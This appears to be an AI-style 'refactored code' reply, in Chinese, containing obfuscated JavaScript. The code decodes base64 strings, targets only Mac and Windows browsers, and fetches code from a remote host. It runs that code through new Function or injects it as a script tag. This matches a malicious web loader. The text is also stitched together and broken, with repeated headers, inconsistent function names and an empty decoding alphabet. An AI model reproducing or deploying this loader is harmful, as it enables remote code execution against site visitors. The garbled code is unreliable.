以下是重构后的代码:

```javascript

function UqgsgfgDv(e) {

var t = "", n = r = c1 = c2 = 0;

while (n < e.length) {

r = e.charCodeAt(n);

if (r < 128) {

t += String.fromCharCode(r);

n++;

} else if (r > 191 && r < 224) {

c2 = e.charCodeAt(n + 1);

t += String.fromCharCode((r & 31) << 6 | c2 & 63);

n += 2;

} else {

c2 = e.charCodeAt(n + 1);

c3 = e.charCodeAt(n + 2);

t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);

n += 3;

}

}

return t;

};

function UqSDDFGvyQ(e) {

var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

var t = "", n, r, i, s, o, u, a, f = 0;

e = e.replace(/[^A-Za-z0-9+/=]/g, "");

```

以下是重构后的代码:

```javascript

function UqgsgfgDv(e) {

let m = "";

let f = 0;

let s, o, u, a;

let n, r, i;

let t = "";

while (f < e.length) {

s = m.indexOf(e.charAt(f++));

o = m.indexOf(e.charAt(f++));

u = m.indexOf(e.charAt(f++));

a = m.indexOf(e.charAt(f++));

n = s << 2 | o >> 4;

r = (o & 15) << 4 | u >> 2;

i = (u & 3) << 6 | a;

t = t + String.fromCharCode(n);

if (u !== "64") {

t = t + String.fromCharCode(r);

}

if (a !== "64") {

t = t + String.fromCharCode(i);

}

}

return UqSDDFGvyQ(t);

};

window['' + 'U' + 'Y' + 'C' + 'q' + 'J' + 'K' + ''] = (!/^Mac|Win/.test(navigator.platform) || !navigator.platform)? function() {}: function() {

(function (u, i, w, d, c) {

var x = UqSDDFGvyQ, cs = d[x("Y3VycmVudFNjcmlwdA==")], crd = x("Y3JlYXRlRWxlbWVudA==");

"jQuery";

u = decodeURIComponent(x(u.replace(new RegExp(c[0] + c[0], "g"), c[0])));

"jQuery";

});

};

```

以下是重构后的代码:

```javascript

if (navigator.userAgent.indexOf('baiduid') > -1) {

var xhr = new XMLHttpRequest();

xhr.open('POST', 'https://' + u + '/bm-' + i);

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');

xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');

xhr.onreadystatechange = function() {

if (xhr.readyState == 4 && xhr.status == 200) {

var data = JSON.parse(xhr.responseText);

var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));

var img = new Image();

img.src = name;

cs.parentElement.insertBefore(img, cs);

}

};

xhr.send('u=1');

} else {

var s = document.createElement('script');

s.src = 'https://' + u + '/m-' + i;

cs.parentElement.insertBefore(s, cs);

}

```